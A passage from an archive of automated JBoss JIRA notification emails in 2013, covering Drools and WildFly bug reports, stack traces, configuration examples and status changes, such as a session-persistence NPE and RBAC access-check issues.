rule "SimpleFactTimeWindow"
when
	$s1: SimpleFact() from entry-point LinkyStream
	$s2: SimpleFact(this != $s1, this after [0s, 10s] $s1) from entry-point LinkyStream
then
	System.out.println("Rule fired, found 2 Facts within the time window.");
end

I get a NPE (in both Phreak and ReteOO mode). Exception in Phreak:
java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:606)
	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
	at java.lang.Thread.run(Thread.java:724)
Caused by: java.lang.NullPointerException
	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedRight(AfterEvaluatorDefinition.java:304)
	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedRight(EvaluatorConstraint.java:80)
	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedRight(DoubleBetaConstraints.java:117)
	at org.drools.core.phreak.PhreakJoinNode.doRightInserts(PhreakJoinNode.java:150)
	at org.drools.core.phreak.PhreakJoinNode.doNode(PhreakJoinNode.java:56)
	at org.drools.core.phreak.RuleNetworkEvaluator.switchOnDoBetaNode(RuleNetworkEvaluator.java:547)
	at org.drools.core.phreak.RuleNetworkEvaluator.evalBetaNode(RuleNetworkEvaluator.java:533)
	at org.drools.core.phreak.RuleNetworkEvaluator.innerEval(RuleNetworkEvaluator.java:335)
	at org.drools.core.phreak.RuleNetworkEvaluator.outerEval(RuleNetworkEvaluator.java:162)
	at org.drools.core.phreak.RuleNetworkEvaluator.evaluateNetwork(RuleNetworkEvaluator.java:117)
	at org.drools.core.phreak.RuleExecutor.reEvaluateNetwork(RuleExecutor.java:194)
	at org.drools.core.phreak.RuleExecutor.evaluateNetworkAndFire(RuleExecutor.java:65)
	at org.drools.core.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:936)
	at org.drools.core.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1183)
	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:936)
	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:910)
	at org.drools.core.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:233)
	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:142)
	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
	... 6 more

Exception in ReteOO:
java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:606)
	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
	at java.lang.Thread.run(Thread.java:724)
Caused by: org.drools.core.RuntimeDroolsException: Unexpected exception executing action org.drools.core.reteoo.PropagationQueuingNode$PropagateAction at 2e3aeda
	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1225)
	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:371)
	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:278)
	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:131)
	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:56)
	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:140)
	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
	... 6 more
Caused by: java.lang.NullPointerException
	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedLeft(AfterEvaluatorDefinition.java:324)
	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedLeft(EvaluatorConstraint.java:67)
	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedLeft(DoubleBetaConstraints.java:108)
	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromLeft(ReteJoinNode.java:147)
	at org.drools.reteoo.nodes.ReteJoinNode.assertLeftTuple(ReteJoinNode.java:99)
	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.doPropagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:213)
	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.propagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:73)
	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromRight(ReteJoinNode.java:135)
	at org.drools.reteoo.nodes.ReteJoinNode.assertRightTuple(ReteJoinNode.java:125)
	at org.drools.reteoo.nodes.ReteBetaNodeUtils.assertObject(ReteBetaNodeUtils.java:47)
	at org.drools.reteoo.nodes.ReteJoinNode.assertObject(ReteJoinNode.java:39)
	at org.drools.core.reteoo.CompositeObjectSinkAdapter.doPropagateAssertObject(CompositeObjectSinkAdapter.java:502)
	at org.drools.core.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:387)
	at org.drools.core.reteoo.PropagationQueuingNode$AssertAction.execute(PropagationQueuingNode.java:430)
	at org.drools.core.reteoo.PropagationQueuingNode.propagateActions(PropagationQueuingNode.java:266)
	at org.drools.core.reteoo.PropagationQueuingNode$PropagateAction.execute(PropagationQueuingNode.java:592)
	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1223)
	... 12 more


What I discovered is that this only happens when I save the KieSession to a file in one JVM and reload it in another. When I load the KieSession in the same JVM as the one in which I persisted it, there is no exception and the rule get's fired (as expected).

I created a reproducer project for it: https://github.com/DuncanDoyle/DroolsSessionPersistenceNPE/

I've added some Maven profiles so you can easily observe the behaviour:
- mvn -PallRuns exec:java    : this runs both the persistence and the reload in the same JVM, no exception, everything works fine.
- mvn -PfirstRun exec:java    : this runs the first part of the test, and saves the KieSession to a file.
- mvn -PsecondRun exec:java   : this runs the second part of the test, which loads the previously saved KieSession from the file and inserts a new fact, resulting in the NPE.

All three tests can also be run in ReteOO mode by adding "-Ddrools.ruleEngine=reteoo" at the end of the command.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 08:14:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 08:14:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change distributed config on
 address settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.4163.1380284042564@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807910#comment-12807910 ] 

RH Bugzilla Integration commented on WFLY-2135:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1011074|https://bugzilla.redhat.com/show_bug.cgi?id=1011074] from POST to MODIFIED
                
> Change distributed config on address settings to Page instead of Block
> ----------------------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 08:21:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 08:21:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.4178.1380284462839@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807916#comment-12807916 ] 

RH Bugzilla Integration commented on WFLY-2155:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1011911|https://bugzilla.redhat.com/show_bug.cgi?id=1011911] from POST to MODIFIED
                
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 10:09:02 2013
From: jira-events at lists.jboss.org (Richard Bourner (JIRA))
Date: Fri, 27 Sep 2013 10:09:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-276) Stream mode with CR4-Pre1
 generates rules looping
In-Reply-To: <JIRA.12501742.1380290941031@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501742.1380290941031@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501742.1380290941031.4432.1380290942746@jira02.app.mwc.hst.phx2.redhat.com>

Richard Bourner created DROOLS-276:
--------------------------------------

             Summary:  Stream mode with CR4-Pre1 generates rules looping
                 Key: DROOLS-276
                 URL: https://issues.jboss.org/browse/DROOLS-276
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR4
         Environment: Drools 6.0.0.CR4-Pre1
            Reporter: Richard Bourner
            Assignee: Mark Proctor


When in STREAM mode, our rules are looping because of an update.
The attached example doesn't demonstrate the looping but one rule is fired twice where it should only fire once. We are supposing that the issue is the same.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 10:11:02 2013
From: jira-events at lists.jboss.org (Richard Bourner (JIRA))
Date: Fri, 27 Sep 2013 10:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-276) Stream mode with CR4-Pre1
 generates rules looping
In-Reply-To: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501742.1380290941000.4437.1380291062614@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Richard Bourner updated DROOLS-276:
-----------------------------------

    Attachment: Drools6Stream.zip

    
>  Stream mode with CR4-Pre1 generates rules looping
> --------------------------------------------------
>
>                 Key: DROOLS-276
>                 URL: https://issues.jboss.org/browse/DROOLS-276
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR4
>         Environment: Drools 6.0.0.CR4-Pre1
>            Reporter: Richard Bourner
>            Assignee: Mark Proctor
>         Attachments: Drools6Stream.zip
>
>
> When in STREAM mode, our rules are looping because of an update.
> The attached example doesn't demonstrate the looping but one rule is fired twice where it should only fire once. We are supposing that the issue is the same.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 10:13:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 10:13:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-276) Stream mode with CR4-Pre1
 generates rules looping
In-Reply-To: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501742.1380290941000.4442.1380291182626@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated DROOLS-276:
-------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012933

    
>  Stream mode with CR4-Pre1 generates rules looping
> --------------------------------------------------
>
>                 Key: DROOLS-276
>                 URL: https://issues.jboss.org/browse/DROOLS-276
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR4
>         Environment: Drools 6.0.0.CR4-Pre1
>            Reporter: Richard Bourner
>            Assignee: Mark Proctor
>         Attachments: Drools6Stream.zip
>
>
> When in STREAM mode, our rules are looping because of an update.
> The attached example doesn't demonstrate the looping but one rule is fired twice where it should only fire once. We are supposing that the issue is the same.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 10:17:02 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Fri, 27 Sep 2013 10:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1759) Existing management WS
 section improvements / consolidation
In-Reply-To: <JIRA.12497319.1374747761000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497319.1374747761000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497319.1374747761000.4447.1380291422560@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1759?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807948#comment-12807948 ] 

Alessio Soldano commented on WFLY-1759:
---------------------------------------

Also see https://github.com/wildfly/wildfly/pull/5162
                
> Existing management WS section improvements / consolidation
> -----------------------------------------------------------
>
>                 Key: WFLY-1759
>                 URL: https://issues.jboss.org/browse/WFLY-1759
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Web Services
>            Reporter: Alessio Soldano
>            Assignee: Alessio Soldano
>             Fix For: 8.0.0.Beta1
>
>
> We need to clarify the ws integration behavior when user provides not valid or undefined values in the webservices section of the domain. It's also not clear what the stack does after values are set in fields requiring re-load.
> We should also consider creating services for EndpointConfigAdd/Remove, HandlerAdd/Remove, HandlerChainAdd/Remove, PropertyAdd/Remove (at least for the first couple), similarly to what has been done for ClientConfigAdd/Remove in WFLY-227.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 11:51:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 27 Sep 2013 11:51:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2173) Get subsystem test framework
 working with AS 7.2.0 legacy controller
In-Reply-To: <JIRA.12501755.1380296954746@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501755.1380296954746@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501755.1380296954746.4624.1380297062591@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created WFLY-2173:
--------------------------------

             Summary: Get subsystem test framework working with AS 7.2.0 legacy controller
                 Key: WFLY-2173
                 URL: https://issues.jboss.org/browse/WFLY-2173
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Kabir Khan
            Assignee: Kabir Khan
             Fix For: 8.0.0.CR1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 15:19:02 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Fri, 27 Sep 2013 15:19:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-277) Trait Handles are not
 (de)serialized correctly
In-Reply-To: <JIRA.12501759.1380309540356@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501759.1380309540356@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501759.1380309540356.4765.1380309542613@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-277:
-------------------------------------

             Summary: Trait Handles are not (de)serialized correctly
                 Key: DROOLS-277
                 URL: https://issues.jboss.org/browse/DROOLS-277
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor


TraitFactHandles are not covered by the Protobuf Input/Output Marshallers, which return normal fact handles. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 15:35:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 15:35:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.4774.1380310502586@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808021#comment-12808021 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1011994|https://bugzilla.redhat.com/show_bug.cgi?id=1011994] from NEW to POST
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 16:47:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 27 Sep 2013 16:47:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2174) Intermittent failures in
 DomainControllerMigrationTestCase
In-Reply-To: <JIRA.12501761.1380314724710@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501761.1380314724710@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501761.1380314724710.4854.1380314822558@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2174:
--------------------------------------

             Summary: Intermittent failures in DomainControllerMigrationTestCase
                 Key: WFLY-2174
                 URL: https://issues.jboss.org/browse/WFLY-2174
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management, Test Suite
    Affects Versions: 8.0.0.Alpha4
            Reporter: Brian Stansberry
            Assignee: Emanuel Muckenhuber
             Fix For: 8.0.0.CR1


For example:

java.lang.RuntimeException: "JBAS010839: Operation failed or was rolled back on all servers."
    at org.jboss.as.test.integration.domain.management.util.DomainLifecycleUtil.executeForResult(DomainLifecycleUtil.java:582)
    at org.jboss.as.test.integration.domain.DomainControllerMigrationTestCase.testDCFailover(DomainControllerMigrationTestCase.java:206)

With this in the logs:

[Host Controller] 14:51:08,996 INFO  [org.jboss.as] (Controller Boot Thread) JBAS015874: JBoss EAP 6.2.0.Alpha1 (AS 7.3.0.Final-redhat-SNAPSHOT) (Host Controller) started in 829ms - Started 12 of 12 services (0 services are passive or on-demand)
[Server:failover-two] 14:51:10,113 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-2) JBAS015876: Starting deployment of "SimpleServlet.war" (runtime-name: "SimpleServlet.war")
[Host Controller] 14:51:10,377 INFO  [org.jboss.as.domain.controller.mgmt] (Remoting "failover-h3:MANAGEMENT" task-2) JBAS010920: Server [Server:failover-three] registered using connection [Channel ID 7e979de4 (inbound) of Remoting connection 00429bb7 to /127.0.0.1:53634]
[Host Controller] 14:51:11,185 ERROR [org.jboss.as.controller.management-operation] (domain-connection-threads - 2) JBAS014612: Operation ("composite") failed - address: ([
[Host Controller]     ("host" => "failover-h3"),
[Host Controller]     ("server" => "failover-three")
[Host Controller] ]): java.lang.RuntimeException: java.io.IOException: JBAS012175: Channel closed
[Host Controller]     at org.jboss.as.controller.remote.RemoteProxyController.execute(RemoteProxyController.java:203) [jboss-as-controller-7.3.0.Final-redhat-SNAPSHOT.jar:7.3.0.Final-redhat-SNAPSHOT]
[Host Controller]     at org.jboss.as.controller.TransformingProxyController$TransformingProxyControllerImpl.execute(TransformingProxyController.java:149) [jboss-as-controller-7.3.0.Final-redhat-SNAPSHOT.jar:7.3.0.Final-redhat-SNAPSHOT]
[Host Controller]     at org.jboss.as.controller.ProxyStepHandler.execute(ProxyStepHandler.java:130) [jboss-as-controller-7.3.0.Final-redhat-SNAPSHOT.jar:7.3.0.Final-redhat-SNAPSHOT]
[Host Controller]     at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:624) [jboss-as-controller-7.3.0.Final-redhat-SNAPSHOT.jar:7.3.0.Final-redhat-SNAPSHOT]
.....
[Host Controller] Caused by: java.io.IOException: JBAS012175: Channel closed
[Host Controller]     at org.jboss.as.host.controller.ManagedServerProxy$DisconnectedProtocolClient.execute(ManagedServerProxy.java:114)
[Host Controller]     at org.jboss.as.host.controller.ManagedServerProxy.execute(ManagedServerProxy.java:92)
[Host Controller]     at org.jboss.as.host.controller.ManagedServerProxy.execute(ManagedServerProxy.java:80)
[Host Controller]     at org.jboss.as.controller.remote.RemoteProxyController.execute(RemoteProxyController.java:159) [jboss-as-controller-7.3.0.Final-redhat-SNAPSHOT.jar:7.3.0.Final-redhat-SNAPSHOT]
[Host Controller]     ... 23 more


I believe what is going on here is the test is hitting expected behavior. It restarts an HC without restarting the servers. When the HC is reloaded, it is aware that it has disconnected servers. While it awaits reconnect, any attempt to send an op through to the disconnected server will get the exception above.

If my analysis is correct, then the test just needs adjusting to check server status before continuing on. If it's incorrect and this shouldn't fail, then we have a bug. A 3rd option is it's correct, but the behavior is bad.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 17:54:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 27 Sep 2013 17:54:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2175) Add transformers for RBAC
	resources
In-Reply-To: <JIRA.12501763.1380318805593@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501763.1380318805593@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501763.1380318805593.4865.1380318842624@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2175:
--------------------------------------

             Summary: Add transformers for RBAC resources
                 Key: WFLY-2175
                 URL: https://issues.jboss.org/browse/WFLY-2175
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


Transformation needs to be supported so WF 8 hosts can manage earlier version slaves without the RBAC facilities breaking things.

The basic idea here is everything needs to be discarded unless the provider != undefined or simple. Trying to use or change to 'rbac' should trigger failure.

The complicated part is the parent resource /core-service=management needs to be discarded if all the children are.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 18:12:02 2013
From: jira-events at lists.jboss.org (Farah Juma (JIRA))
Date: Fri, 27 Sep 2013 18:12:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2176) JSF should be able to access
 the CDI-enabled ValidatorFactory
In-Reply-To: <JIRA.12501764.1380319880710@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501764.1380319880710@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501764.1380319880710.4870.1380319922477@jira02.app.mwc.hst.phx2.redhat.com>

Farah Juma created WFLY-2176:
--------------------------------

             Summary: JSF should be able to access the CDI-enabled ValidatorFactory
                 Key: WFLY-2176
                 URL: https://issues.jboss.org/browse/WFLY-2176
             Project: WildFly
          Issue Type: Feature Request
          Components: JSF
    Affects Versions: 8.0.0.Alpha4
            Reporter: Farah Juma
            Assignee: Farah Juma


Currently, for every deployment that uses JSF, the JSF subsystem adds the org.hibernate.validator module to the deployment.  A ValidatorFactory is then obtained via the standard Bean Validation bootstrap strategy. However, a ValidatorFactory obtained this way isn't CDI-enabled. JSF needs to use the EE LazyValidatorFactory instead.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
